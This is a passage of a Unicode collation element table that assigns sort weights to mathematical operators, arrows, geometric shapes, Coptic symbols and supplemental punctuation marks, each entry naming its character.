[*0C59.0020.0002] # SUCCEEDS ABOVE EQUALS SIGN +2AB5 ; [*0C5A.0020.0002] # PRECEDES ABOVE NOT EQUAL TO +2AB6 ; [*0C5B.0020.0002] # SUCCEEDS ABOVE NOT EQUAL TO +2AB7 ; [*0C5C.0020.0002] # PRECEDES ABOVE ALMOST EQUAL TO +2AB8 ; [*0C5D.0020.0002] # SUCCEEDS ABOVE ALMOST EQUAL TO +2AB9 ; [*0C5E.0020.0002] # PRECEDES ABOVE NOT ALMOST EQUAL TO +2ABA ; [*0C5F.0020.0002] # SUCCEEDS ABOVE NOT ALMOST EQUAL TO +2ABB ; [*0C60.0020.0002] # DOUBLE PRECEDES +2ABC ; [*0C61.0020.0002] # DOUBLE SUCCEEDS +2ABD ; [*0C62.0020.0002] # SUBSET WITH DOT +2ABE ; [*0C63.0020.0002] # SUPERSET WITH DOT +2ABF ; [*0C64.0020.0002] # SUBSET WITH PLUS SIGN BELOW +2AC0 ; [*0C65.0020.0002] # SUPERSET WITH PLUS SIGN BELOW +2AC1 ; [*0C66.0020.0002] # SUBSET WITH MULTIPLICATION SIGN BELOW +2AC2 ; [*0C67.0020.0002] # SUPERSET WITH MULTIPLICATION SIGN BELOW +2AC3 ; [*0C68.0020.0002] # SUBSET OF OR EQUAL TO WITH DOT ABOVE +2AC4 ; [*0C69.0020.0002] # SUPERSET OF OR EQUAL TO WITH DOT ABOVE +2AC5 ; [*0C6A.0020.0002] # SUBSET OF ABOVE EQUALS SIGN +2AC6 ; [*0C6B.0020.0002] # SUPERSET OF ABOVE EQUALS SIGN +2AC7 ; [*0C6C.0020.0002] # SUBSET OF ABOVE TILDE OPERATOR +2AC8 ; [*0C6D.0020.0002] # SUPERSET OF ABOVE TILDE OPERATOR +2AC9 ; [*0C6E.0020.0002] # SUBSET OF ABOVE ALMOST EQUAL TO +2ACA ; [*0C6F.0020.0002] # SUPERSET OF ABOVE ALMOST EQUAL TO +2ACB ; [*0C70.0020.0002] # SUBSET OF ABOVE NOT EQUAL TO +2ACC ; [*0C71.0020.0002] # SUPERSET OF ABOVE NOT EQUAL TO +2ACD ; [*0C72.0020.0002] # SQUARE LEFT OPEN BOX OPERATOR +2ACE ; [*0C73.0020.0002] # SQUARE RIGHT OPEN BOX OPERATOR +2ACF ; [*0C74.0020.0002] # CLOSED SUBSET +2AD0 ; [*0C75.0020.0002] # CLOSED SUPERSET +2AD1 ; [*0C76.0020.0002] # CLOSED SUBSET OR EQUAL TO +2AD2 ; [*0C77.0020.0002] # CLOSED SUPERSET OR EQUAL TO +2AD3 ; [*0C78.0020.0002] # SUBSET ABOVE SUPERSET +2AD4 ; [*0C79.0020.0002] # SUPERSET ABOVE SUBSET +2AD5 ; [*0C7A.0020.0002] # SUBSET ABOVE SUBSET +2AD6 ; [*0C7B.0020.0002] # SUPERSET ABOVE SUPERSET +2AD7 ; [*0C7C.0020.0002] # SUPERSET BESIDE SUBSET +2AD8 ; [*0C7D.0020.0002] # SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET +2AD9 ; [*0C7E.0020.0002] # ELEMENT OF OPENING DOWNWARDS +2ADA ; [*0C7F.0020.0002] # PITCHFORK WITH TEE TOP +2ADB ; [*0C80.0020.0002] # TRANSVERSAL INTERSECTION +2ADC ; [*0C81.0020.0002][.0000.002F.0002] # FORKING +2ADD ; [*0C81.0020.0002] # NONFORKING +2ADE ; [*0C82.0020.0002] # SHORT LEFT TACK +2ADF ; [*0C83.0020.0002] # SHORT DOWN TACK +2AE0 ; [*0C84.0020.0002] # SHORT UP TACK +2AE1 ; [*0C85.0020.0002] # PERPENDICULAR WITH S +2AE2 ; [*0C86.0020.0002] # VERTICAL BAR TRIPLE RIGHT TURNSTILE +2AE3 ; [*0C87.0020.0002] # DOUBLE VERTICAL BAR LEFT TURNSTILE +2AE4 ; [*0C88.0020.0002] # VERTICAL BAR DOUBLE LEFT TURNSTILE +2AE5 ; [*0C89.0020.0002] # DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE +2AE6 ; [*0C8A.0020.0002] # LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL +2AE7 ; [*0C8B.0020.0002] # SHORT DOWN TACK WITH OVERBAR +2AE8 ; [*0C8C.0020.0002] # SHORT UP TACK WITH UNDERBAR +2AE9 ; [*0C8D.0020.0002] # SHORT UP TACK ABOVE SHORT DOWN TACK +2AEA ; [*0C8E.0020.0002] # DOUBLE DOWN TACK +2AEB ; [*0C8F.0020.0002] # DOUBLE UP TACK +2AEC ; [*0C90.0020.0002] # DOUBLE STROKE NOT SIGN +2AED ; [*0C91.0020.0002] # REVERSED DOUBLE STROKE NOT SIGN +2AEE ; [*0C92.0020.0002] # DOES NOT DIVIDE WITH REVERSED NEGATION SLASH +2AEF ; [*0C93.0020.0002] # VERTICAL LINE WITH CIRCLE ABOVE +2AF0 ; [*0C94.0020.0002] # VERTICAL LINE WITH CIRCLE BELOW +2AF1 ; [*0C95.0020.0002] # DOWN TACK WITH CIRCLE BELOW +2AF2 ; [*0C96.0020.0002] # PARALLEL WITH HORIZONTAL STROKE +2AF3 ; [*0C97.0020.0002] # PARALLEL WITH TILDE OPERATOR +2AF4 ; [*0C98.0020.0002] # TRIPLE VERTICAL BAR BINARY RELATION +2AF5 ; [*0C99.0020.0002] # TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE +2AF6 ; [*0C9A.0020.0002] # TRIPLE COLON OPERATOR +2AF7 ; [*0C9B.0020.0002] # TRIPLE NESTED LESS-THAN +2AF8 ; [*0C9C.0020.0002] # TRIPLE NESTED GREATER-THAN +2AF9 ; [*0C9D.0020.0002] # DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO +2AFA ; [*0C9E.0020.0002] # DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO +2AFB ; [*0C9F.0020.0002] # TRIPLE SOLIDUS BINARY RELATION +2AFC ; [*0CA0.0020.0002] # LARGE TRIPLE VERTICAL BAR OPERATOR +2AFD ; [*0CA1.0020.0002] # DOUBLE SOLIDUS OPERATOR +2AFE ; [*0CA2.0020.0002] # WHITE VERTICAL BAR +2AFF ; [*0CA3.0020.0002] # N-ARY WHITE VERTICAL BAR +2B00 ; [*0CA4.0020.0002] # NORTH EAST WHITE ARROW +2B01 ; [*0CA5.0020.0002] # NORTH WEST WHITE ARROW +2B02 ; [*0CA6.0020.0002] # SOUTH EAST WHITE ARROW +2B03 ; [*0CA7.0020.0002] # SOUTH WEST WHITE ARROW +2B04 ; [*0CA8.0020.0002] # LEFT RIGHT WHITE ARROW +2B05 ; [*0CA9.0020.0002] # LEFTWARDS BLACK ARROW +2B06 ; [*0CAA.0020.0002] # UPWARDS BLACK ARROW +2B07 ; [*0CAB.0020.0002] # DOWNWARDS BLACK ARROW +2B08 ; [*0CAC.0020.0002] # NORTH EAST BLACK ARROW +2B09 ; [*0CAD.0020.0002] # NORTH WEST BLACK ARROW +2B0A ; [*0CAE.0020.0002] # SOUTH EAST BLACK ARROW +2B0B ; [*0CAF.0020.0002] # SOUTH WEST BLACK ARROW +2B0C ; [*0CB0.0020.0002] # LEFT RIGHT BLACK ARROW +2B0D ; [*0CB1.0020.0002] # UP DOWN BLACK ARROW +2B0E ; [*0CB2.0020.0002] # RIGHTWARDS ARROW WITH TIP DOWNWARDS +2B0F ; [*0CB3.0020.0002] # RIGHTWARDS ARROW WITH TIP UPWARDS +2B10 ; [*0CB4.0020.0002] # LEFTWARDS ARROW WITH TIP DOWNWARDS +2B11 ; [*0CB5.0020.0002] # LEFTWARDS ARROW WITH TIP UPWARDS +2B12 ; [*0CB6.0020.0002] # SQUARE WITH TOP HALF BLACK +2B13 ; [*0CB7.0020.0002] # SQUARE WITH BOTTOM HALF BLACK +2B14 ; [*0CB8.0020.0002] # SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK +2B15 ; [*0CB9.0020.0002] # SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK +2B16 ; [*0CBA.0020.0002] # DIAMOND WITH LEFT HALF BLACK +2B17 ; [*0CBB.0020.0002] # DIAMOND WITH RIGHT HALF BLACK +2B18 ; [*0CBC.0020.0002] # DIAMOND WITH TOP HALF BLACK +2B19 ; [*0CBD.0020.0002] # DIAMOND WITH BOTTOM HALF BLACK +2B1A ; [*0CBE.0020.0002] # DOTTED SQUARE +2B1B ; [*0CBF.0020.0002] # BLACK LARGE SQUARE +2B1C ; [*0CC0.0020.0002] # WHITE LARGE SQUARE +2B1D ; [*0CC1.0020.0002] # BLACK VERY SMALL SQUARE +2B1E ; [*0CC2.0020.0002] # WHITE VERY SMALL SQUARE +2B1F ; [*0CC3.0020.0002] # BLACK PENTAGON +2B20 ; [*0CC4.0020.0002] # WHITE PENTAGON +2B21 ; [*0CC5.0020.0002] # WHITE HEXAGON +2B22 ; [*0CC6.0020.0002] # BLACK HEXAGON +2B23 ; [*0CC7.0020.0002] # HORIZONTAL BLACK HEXAGON +2B24 ; [*0CC8.0020.0002] # BLACK LARGE CIRCLE +2B25 ; [*0CC9.0020.0002] # BLACK MEDIUM DIAMOND +2B26 ; [*0CCA.0020.0002] # WHITE MEDIUM DIAMOND +2B27 ; [*0CCB.0020.0002] # BLACK MEDIUM LOZENGE +2B28 ; [*0CCC.0020.0002] # WHITE MEDIUM LOZENGE +2B29 ; [*0CCD.0020.0002] # BLACK SMALL DIAMOND +2B2A ; [*0CCE.0020.0002] # BLACK SMALL LOZENGE +2B2B ; [*0CCF.0020.0002] # WHITE SMALL LOZENGE +2B2C ; [*0CD0.0020.0002] # BLACK HORIZONTAL ELLIPSE +2B2D ; [*0CD1.0020.0002] # WHITE HORIZONTAL ELLIPSE +2B2E ; [*0CD2.0020.0002] # BLACK VERTICAL ELLIPSE +2B2F ; [*0CD3.0020.0002] # WHITE VERTICAL ELLIPSE +2B30 ; [*0CD4.0020.0002] # LEFT ARROW WITH SMALL CIRCLE +2B31 ; [*0CD5.0020.0002] # THREE LEFTWARDS ARROWS +2B32 ; [*0CD6.0020.0002] # LEFT ARROW WITH CIRCLED PLUS +2B33 ; [*0CD7.0020.0002] # LONG LEFTWARDS SQUIGGLE ARROW +2B34 ; [*0CD8.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE +2B35 ; [*0CD9.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE +2B36 ; [*0CDA.0020.0002] # LEFTWARDS TWO-HEADED ARROW FROM BAR +2B37 ; [*0CDB.0020.0002] # LEFTWARDS TWO-HEADED TRIPLE DASH ARROW +2B38 ; [*0CDC.0020.0002] # LEFTWARDS ARROW WITH DOTTED STEM +2B39 ; [*0CDD.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE +2B3A ; [*0CDE.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE +2B3B ; [*0CDF.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL +2B3C ; [*0CE0.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE +2B3D ; [*0CE1.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE +2B3E ; [*0CE2.0020.0002] # LEFTWARDS ARROW THROUGH X +2B3F ; [*0CE3.0020.0002] # WAVE ARROW POINTING DIRECTLY LEFT +2B40 ; [*0CE4.0020.0002] # EQUALS SIGN ABOVE LEFTWARDS ARROW +2B41 ; [*0CE5.0020.0002] # REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW +2B42 ; [*0CE6.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO +2B43 ; [*0CE7.0020.0002] # RIGHTWARDS ARROW THROUGH GREATER-THAN +2B44 ; [*0CE8.0020.0002] # RIGHTWARDS ARROW THROUGH SUPERSET +2B45 ; [*0CE9.0020.0002] # LEFTWARDS QUADRUPLE ARROW +2B46 ; [*0CEA.0020.0002] # RIGHTWARDS QUADRUPLE ARROW +2B47 ; [*0CEB.0020.0002] # REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW +2B48 ; [*0CEC.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE ALMOST EQUAL TO +2B49 ; [*0CED.0020.0002] # TILDE OPERATOR ABOVE LEFTWARDS ARROW +2B4A ; [*0CEE.0020.0002] # LEFTWARDS ARROW ABOVE ALMOST EQUAL TO +2B4B ; [*0CEF.0020.0002] # LEFTWARDS ARROW ABOVE REVERSE TILDE OPERATOR +2B4C ; [*0CF0.0020.0002] # RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR +2B4D ; [*0CF1.0020.0002] # DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW +2B4E ; [*0CF2.0020.0002] # SHORT SLANTED NORTH ARROW +2B4F ; [*0CF3.0020.0002] # SHORT BACKSLANTED SOUTH ARROW +2B50 ; [*0CF4.0020.0002] # WHITE MEDIUM STAR +2B51 ; [*0CF5.0020.0002] # BLACK SMALL STAR +2B52 ; [*0CF6.0020.0002] # WHITE SMALL STAR +2B53 ; [*0CF7.0020.0002] # BLACK RIGHT-POINTING PENTAGON +2B54 ; [*0CF8.0020.0002] # WHITE RIGHT-POINTING PENTAGON +2B55 ; [*0CF9.0020.0002] # HEAVY LARGE CIRCLE +2B56 ; [*0CFA.0020.0002] # HEAVY OVAL WITH OVAL INSIDE +2B57 ; [*0CFB.0020.0002] # HEAVY CIRCLE WITH CIRCLE INSIDE +2B58 ; [*0CFC.0020.0002] # HEAVY CIRCLE +2B59 ; [*0CFD.0020.0002] # HEAVY CIRCLED SALTIRE +2B5A ; [*0CFE.0020.0002] # SLANTED NORTH ARROW WITH HOOKED HEAD +2B5B ; [*0CFF.0020.0002] # BACKSLANTED SOUTH ARROW WITH HOOKED TAIL +2B5C ; [*0D00.0020.0002] # SLANTED NORTH ARROW WITH HORIZONTAL TAIL +2B5D ; [*0D01.0020.0002] # BACKSLANTED SOUTH ARROW WITH HORIZONTAL TAIL +2B5E ; [*0D02.0020.0002] # BENT ARROW POINTING DOWNWARDS THEN NORTH EAST +2B5F ; [*0D03.0020.0002] # SHORT BENT ARROW POINTING DOWNWARDS THEN NORTH EAST +2B60 ; [*0D04.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW +2B61 ; [*0D05.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW +2B62 ; [*0D06.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW +2B63 ; [*0D07.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW +2B64 ; [*0D08.0020.0002] # LEFT RIGHT TRIANGLE-HEADED ARROW +2B65 ; [*0D09.0020.0002] # UP DOWN TRIANGLE-HEADED ARROW +2B66 ; [*0D0A.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW +2B67 ; [*0D0B.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW +2B68 ; [*0D0C.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW +2B69 ; [*0D0D.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW +2B6A ; [*0D0E.0020.0002] # LEFTWARDS TRIANGLE-HEADED DASHED ARROW +2B6B ; [*0D0F.0020.0002] # UPWARDS TRIANGLE-HEADED DASHED ARROW +2B6C ; [*0D10.0020.0002] # RIGHTWARDS TRIANGLE-HEADED DASHED ARROW +2B6D ; [*0D11.0020.0002] # DOWNWARDS TRIANGLE-HEADED DASHED ARROW +2B6E ; [*0D12.0020.0002] # CLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW +2B6F ; [*0D13.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED OPEN CIRCLE ARROW +2B70 ; [*0D14.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW TO BAR +2B71 ; [*0D15.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW TO BAR +2B72 ; [*0D16.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW TO BAR +2B73 ; [*0D17.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW TO BAR +2B76 ; [*0D18.0020.0002] # NORTH WEST TRIANGLE-HEADED ARROW TO BAR +2B77 ; [*0D19.0020.0002] # NORTH EAST TRIANGLE-HEADED ARROW TO BAR +2B78 ; [*0D1A.0020.0002] # SOUTH EAST TRIANGLE-HEADED ARROW TO BAR +2B79 ; [*0D1B.0020.0002] # SOUTH WEST TRIANGLE-HEADED ARROW TO BAR +2B7A ; [*0D1C.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE +2B7B ; [*0D1D.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE +2B7C ; [*0D1E.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE +2B7D ; [*0D1F.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH DOUBLE HORIZONTAL STROKE +2B7E ; [*0D20.0020.0002] # HORIZONTAL TAB KEY +2B7F ; [*0D21.0020.0002] # VERTICAL TAB KEY +2B80 ; [*0D22.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW OVER RIGHTWARDS TRIANGLE-HEADED ARROW +2B81 ; [*0D23.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF DOWNWARDS TRIANGLE-HEADED ARROW +2B82 ; [*0D24.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW OVER LEFTWARDS TRIANGLE-HEADED ARROW +2B83 ; [*0D25.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW LEFTWARDS OF UPWARDS TRIANGLE-HEADED ARROW +2B84 ; [*0D26.0020.0002] # LEFTWARDS TRIANGLE-HEADED PAIRED ARROWS +2B85 ; [*0D27.0020.0002] # UPWARDS TRIANGLE-HEADED PAIRED ARROWS +2B86 ; [*0D28.0020.0002] # RIGHTWARDS TRIANGLE-HEADED PAIRED ARROWS +2B87 ; [*0D29.0020.0002] # DOWNWARDS TRIANGLE-HEADED PAIRED ARROWS +2B88 ; [*0D2A.0020.0002] # LEFTWARDS BLACK CIRCLED WHITE ARROW +2B89 ; [*0D2B.0020.0002] # UPWARDS BLACK CIRCLED WHITE ARROW +2B8A ; [*0D2C.0020.0002] # RIGHTWARDS BLACK CIRCLED WHITE ARROW +2B8B ; [*0D2D.0020.0002] # DOWNWARDS BLACK CIRCLED WHITE ARROW +2B8C ; [*0D2E.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED RIGHT U-SHAPED ARROW +2B8D ; [*0D2F.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED BOTTOM U-SHAPED ARROW +2B8E ; [*0D30.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED LEFT U-SHAPED ARROW +2B8F ; [*0D31.0020.0002] # ANTICLOCKWISE TRIANGLE-HEADED TOP U-SHAPED ARROW +2B90 ; [*0D32.0020.0002] # RETURN LEFT +2B91 ; [*0D33.0020.0002] # RETURN RIGHT +2B92 ; [*0D34.0020.0002] # NEWLINE LEFT +2B93 ; [*0D35.0020.0002] # NEWLINE RIGHT +2B94 ; [*0D36.0020.0002] # FOUR CORNER ARROWS CIRCLING ANTICLOCKWISE +2B95 ; [*0D37.0020.0002] # RIGHTWARDS BLACK ARROW +2B98 ; [*0D38.0020.0002] # THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD +2B99 ; [*0D39.0020.0002] # THREE-D RIGHT-LIGHTED UPWARDS EQUILATERAL ARROWHEAD +2B9A ; [*0D3A.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS EQUILATERAL ARROWHEAD +2B9B ; [*0D3B.0020.0002] # THREE-D LEFT-LIGHTED DOWNWARDS EQUILATERAL ARROWHEAD +2B9C ; [*0D3C.0020.0002] # BLACK LEFTWARDS EQUILATERAL ARROWHEAD +2B9D ; [*0D3D.0020.0002] # BLACK UPWARDS EQUILATERAL ARROWHEAD +2B9E ; [*0D3E.0020.0002] # BLACK RIGHTWARDS EQUILATERAL ARROWHEAD +2B9F ; [*0D3F.0020.0002] # BLACK DOWNWARDS EQUILATERAL ARROWHEAD +2BA0 ; [*0D40.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS +2BA1 ; [*0D41.0020.0002] # DOWNWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS +2BA2 ; [*0D42.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP LEFTWARDS +2BA3 ; [*0D43.0020.0002] # UPWARDS TRIANGLE-HEADED ARROW WITH LONG TIP RIGHTWARDS +2BA4 ; [*0D44.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS +2BA5 ; [*0D45.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP UPWARDS +2BA6 ; [*0D46.0020.0002] # LEFTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS +2BA7 ; [*0D47.0020.0002] # RIGHTWARDS TRIANGLE-HEADED ARROW WITH LONG TIP DOWNWARDS +2BA8 ; [*0D48.0020.0002] # BLACK CURVED DOWNWARDS AND LEFTWARDS ARROW +2BA9 ; [*0D49.0020.0002] # BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW +2BAA ; [*0D4A.0020.0002] # BLACK CURVED UPWARDS AND LEFTWARDS ARROW +2BAB ; [*0D4B.0020.0002] # BLACK CURVED UPWARDS AND RIGHTWARDS ARROW +2BAC ; [*0D4C.0020.0002] # BLACK CURVED LEFTWARDS AND UPWARDS ARROW +2BAD ; [*0D4D.0020.0002] # BLACK CURVED RIGHTWARDS AND UPWARDS ARROW +2BAE ; [*0D4E.0020.0002] # BLACK CURVED LEFTWARDS AND DOWNWARDS ARROW +2BAF ; [*0D4F.0020.0002] # BLACK CURVED RIGHTWARDS AND DOWNWARDS ARROW +2BB0 ; [*0D50.0020.0002] # RIBBON ARROW DOWN LEFT +2BB1 ; [*0D51.0020.0002] # RIBBON ARROW DOWN RIGHT +2BB2 ; [*0D52.0020.0002] # RIBBON ARROW UP LEFT +2BB3 ; [*0D53.0020.0002] # RIBBON ARROW UP RIGHT +2BB4 ; [*0D54.0020.0002] # RIBBON ARROW LEFT UP +2BB5 ; [*0D55.0020.0002] # RIBBON ARROW RIGHT UP +2BB6 ; [*0D56.0020.0002] # RIBBON ARROW LEFT DOWN +2BB7 ; [*0D57.0020.0002] # RIBBON ARROW RIGHT DOWN +2BB8 ; [*0D58.0020.0002] # UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR +2BB9 ; [*0D59.0020.0002] # UP ARROWHEAD IN A RECTANGLE BOX +2BBD ; [*0D5A.0020.0002] # BALLOT BOX WITH LIGHT X +2BBE ; [*0D5B.0020.0002] # CIRCLED X +2BBF ; [*0D5C.0020.0002] # CIRCLED BOLD X +2BC0 ; [*0D5D.0020.0002] # BLACK SQUARE CENTRED +2BC1 ; [*0D5E.0020.0002] # BLACK DIAMOND CENTRED +2BC2 ; [*0D5F.0020.0002] # TURNED BLACK PENTAGON +2BC3 ; [*0D60.0020.0002] # HORIZONTAL BLACK OCTAGON +2BC4 ; [*0D61.0020.0002] # BLACK OCTAGON +2BC5 ; [*0D62.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE CENTRED +2BC6 ; [*0D63.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE CENTRED +2BC7 ; [*0D64.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE CENTRED +2BC8 ; [*0D65.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED +2BCA ; [*0D66.0020.0002] # TOP HALF BLACK CIRCLE +2BCB ; [*0D67.0020.0002] # BOTTOM HALF BLACK CIRCLE +2BCC ; [*0D68.0020.0002] # LIGHT FOUR POINTED BLACK CUSP +2BCD ; [*0D69.0020.0002] # ROTATED LIGHT FOUR POINTED BLACK CUSP +2BCE ; [*0D6A.0020.0002] # WHITE FOUR POINTED CUSP +2BCF ; [*0D6B.0020.0002] # ROTATED WHITE FOUR POINTED CUSP +2BD0 ; [*0D6C.0020.0002] # SQUARE POSITION INDICATOR +2BD1 ; [*0D6D.0020.0002] # UNCERTAINTY SIGN +2BEC ; [*0D6E.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS +2BED ; [*0D6F.0020.0002] # UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS +2BEE ; [*0D70.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS +2BEF ; [*0D71.0020.0002] # DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS +2CE5 ; [*0D72.0020.0002] # COPTIC SYMBOL MI RO +2CE6 ; [*0D73.0020.0002] # COPTIC SYMBOL PI RO +2CE7 ; [*0D74.0020.0002] # COPTIC SYMBOL STAUROS +2CE8 ; [*0D75.0020.0002] # COPTIC SYMBOL TAU RO +2CE9 ; [*0D76.0020.0002] # COPTIC SYMBOL KHI RO +2CEA ; [*0D77.0020.0002] # COPTIC SYMBOL SHIMA SIMA +2CF9 ; [*027E.0020.0002] # COPTIC OLD NUBIAN FULL STOP +2CFA ; [*026C.0020.0002] # COPTIC OLD NUBIAN DIRECT QUESTION MARK +2CFB ; [*026D.0020.0002] # COPTIC OLD NUBIAN INDIRECT QUESTION MARK +2CFC ; [*02EF.0020.0002] # COPTIC OLD NUBIAN VERSE DIVIDER +2CFD ; [*1A68.0020.0002] # COPTIC FRACTION ONE HALF +2CFE ; [*027F.0020.0002] # COPTIC FULL STOP +2CFF ; [*02F0.0020.0002] # COPTIC MORPHOLOGICAL DIVIDER +2D70 ; [*0410.0020.0002] # TIFINAGH SEPARATOR MARK 2D7F ; [.0000.0000.0000] # TIFINAGH CONSONANT JOINER -2E00 ; [*03B6.0020.0002] # RIGHT ANGLE SUBSTITUTION MARKER -2E01 ; [*03B7.0020.0002] # RIGHT ANGLE DOTTED SUBSTITUTION MARKER -2E02 ; [*035B.0020.0002] # LEFT SUBSTITUTION BRACKET -2E03 ; [*035C.0020.0002] # RIGHT SUBSTITUTION BRACKET -2E04 ; [*035D.0020.0002] # LEFT DOTTED SUBSTITUTION BRACKET -2E05 ; [*035E.0020.0002] # RIGHT DOTTED SUBSTITUTION BRACKET -2E06 ; [*03B8.0020.0002] # RAISED INTERPOLATION MARKER -2E07 ; [*03B9.0020.0002] # RAISED DOTTED INTERPOLATION MARKER -2E08 ; [*03BA.0020.0002] # DOTTED TRANSPOSITION MARKER -2E09 ; [*035F.0020.0002] # LEFT TRANSPOSITION BRACKET -2E0A ; [*0360.0020.0002] # RIGHT TRANSPOSITION BRACKET -2E0B ; [*03BB.0020.0002] # RAISED SQUARE -2E0C ; [*0361.0020.0002] # LEFT RAISED OMISSION BRACKET -2E0D ; [*0362.0020.0002] # RIGHT RAISED OMISSION BRACKET -2E0E ; [*03BC.0020.0002] # EDITORIAL CORONIS -2E0F ; [*03BD.0020.0002] # PARAGRAPHOS -2E10 ; [*03BE.0020.0002] # FORKED PARAGRAPHOS -2E11 ; [*03BF.0020.0002] # REVERSED FORKED PARAGRAPHOS -2E12 ; [*03C0.0020.0002] # HYPODIASTOLE -2E13 ; [*03C1.0020.0002] # DOTTED OBELOS -2E14 ; [*03C2.0020.0002] # DOWNWARDS ANCORA -2E15 ; [*03C3.0020.0002] # UPWARDS ANCORA -2E16 ; [*03C4.0020.0002] # DOTTED RIGHT-POINTING ANGLE -2E17 ; [*021C.0020.0002] # DOUBLE OBLIQUE HYPHEN -2E18 ; [*0276.0020.0002] # INVERTED INTERROBANG -2E19 ; [*02F8.0020.0002] # PALM BRANCH -2E1A ; [*03C5.0020.0002] # HYPHEN WITH DIAERESIS -2E1B ; [*03C6.0020.0002] # TILDE WITH RING ABOVE -2E1C ; [*0363.0020.0002] # LEFT LOW PARAPHRASE BRACKET -2E1D ; [*0364.0020.0002] # RIGHT LOW PARAPHRASE BRACKET -2E1E ; [*03C7.0020.0002] # TILDE WITH DOT ABOVE -2E1F ; [*03C8.0020.0002] # TILDE WITH DOT BELOW -2E20 ; [*0365.0020.0002] # LEFT VERTICAL BAR WITH QUILL -2E21 ; [*0366.0020.0002] # RIGHT VERTICAL BAR WITH QUILL -2E22 ; [*0367.0020.0002] # TOP LEFT HALF BRACKET -2E23 ; [*0368.0020.0002] # TOP RIGHT HALF BRACKET -2E24 ; [*0369.0020.0002] # BOTTOM LEFT HALF BRACKET -2E25 ; [*036A.0020.0002] # BOTTOM RIGHT HALF BRACKET -2E26 ; [*036B.0020.0002] # LEFT SIDEWAYS U BRACKET -2E27 ; [*036C.0020.0002] # RIGHT SIDEWAYS U BRACKET -2E28 ; [*036D.0020.0002] # LEFT DOUBLE PARENTHESIS -2E29 ; [*036E.0020.0002] # RIGHT DOUBLE PARENTHESIS -2E2A ; [*02F1.0020.0002] # TWO DOTS OVER ONE DOT PUNCTUATION -2E2B ; [*02F2.0020.0002] # ONE DOT OVER TWO DOTS PUNCTUATION -2E2C ; [*02F3.0020.0002] # SQUARED FOUR DOT PUNCTUATION -2E2D ; [*02F4.0020.0002] # FIVE DOT MARK -2E2E ; [*0268.0020.0002] # REVERSED QUESTION MARK -2E30 ; [*0283.0020.0002] # RING POINT -2E31 ; [*028C.0020.0002] # WORD SEPARATOR MIDDLE DOT -2E32 ; [*0224.0020.0002] # TURNED COMMA -2E33 ; [*028D.0020.0002] # RAISED DOT -2E34 ; [*0223.0020.0002] # RAISED COMMA -2E35 ; 